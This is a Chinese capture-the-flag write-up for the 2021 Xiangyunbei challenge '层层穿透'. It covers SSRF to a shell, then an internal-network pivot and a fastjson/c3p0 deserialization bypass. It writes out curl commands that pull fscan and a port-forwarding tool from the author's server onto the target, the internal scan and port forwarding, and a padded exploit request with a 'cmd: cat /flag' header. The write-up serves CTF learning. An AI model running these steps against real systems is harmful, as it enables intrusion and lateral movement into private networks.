祥云杯2021_层层穿透

2021-08-26
打不开环境+公共环境被卡死+主办方直接在开始放题的时候就公开了源码附件+百度的第一二条就是题解=>直接撂挑子不干了（不过还是学了不少东西）
这道题是ssrf
前半部分和——https://blog.csdn.net/weixin_45492773/article/details/105975768
一模一样
直到拿到shell都完全没有什么不同
拿到shell后，还要再实现一次内网穿透，这里学到了一个新姿势——
虽然没有写的权限，但是可以进行下载，所以可以把一些需要用的软件放在自己的服务器上，然后远程操纵环境进行curl，把他、软件下过去后赋予权限，再进行之后的操作。
1.下载fscan（ https://github.com/shadow1ng/fscan ）进行扫描
进入tmp目录，使用curl下载自己服务器的fscan
curl http://ip/fscan_amd64 >> fscan_amd64
然后赋予权限
chmod 777 fscan_amd64
然后进行扫描
./fscan_amd64 -h 10.10.1.1/24
最后发现内网 10.10.1.11 存在Shiro SprintBoot
2.同样方法下载portmap( http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip ）
curl http://ip/portmap >> portmap
chmod 777 portmap
然后在自己服务器上运行，就是将5567端口的数据转发至8005端口
./portmap -m 2 -p1 5567 -p2 8005
然后再在靶机上运行，将内网环境转发出来
./portmap -m 3 -h1 ip -p1 5567 -h2 10.10.1.11 -p2 8080
然后就可以在公网访问了
题目提供了源码，下载下来，使用jd-gui反编译查看一下
账号密码为 admin / 123456
还发现了fastjson，但是有waf，需要绕过
然后再lib里发现了 hibernate-c3p0-5.3.14.Final.jar
在githun上面找到了绕过方式，c3p0反序列化（ https://github.com/depycode/fastjson-c3p0 ）
要想反序列化需要想登陆获取cookie，所以先登录
获取到cookie后bp抓包，修改数据包，直接将利用链复制粘贴，然后直接粘贴的话就会回显太短
因为对传入的长度进行了判断
所以直接就再填充2w的数据即可，最后的payload如下：
POST /admin/test HTTP/1.1
Host: 81.70.105.149:8005
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
cmd: cat /flag
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 28963
Cookie: d0c13ba04d29a2c666096db3206682c8=6f2998af-b14a-4ebc-9002-eea46873c544.KgKniEGW1GMEX6nqT4eQLtFMsXQ; request_token=8c7wo37zB5OkLDIpgnqfuht93rbWqTEjsLvir0wS0soYk8XE; pro_end=-1; ltd_end=-1; serverType=apache; order=id%20desc; memSize=1838; bt_user_info=%7B%22status%22%3Atrue%2C%22msg%22%3A%22%u83B7%u53D6%u6210%u529F%21%22%2C%22data%22%3A%7B%22username%22%3A%22158****9824%22%7D%7D; rank=list; Path=/www/wwwroot/myweb; file_recycle_status=true; JSESSIONID=4A2824342782C0A7393AF8ACF226F26B

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    }}
成功获取flag
参考引用：https://wp.n03tack.top/posts/62454/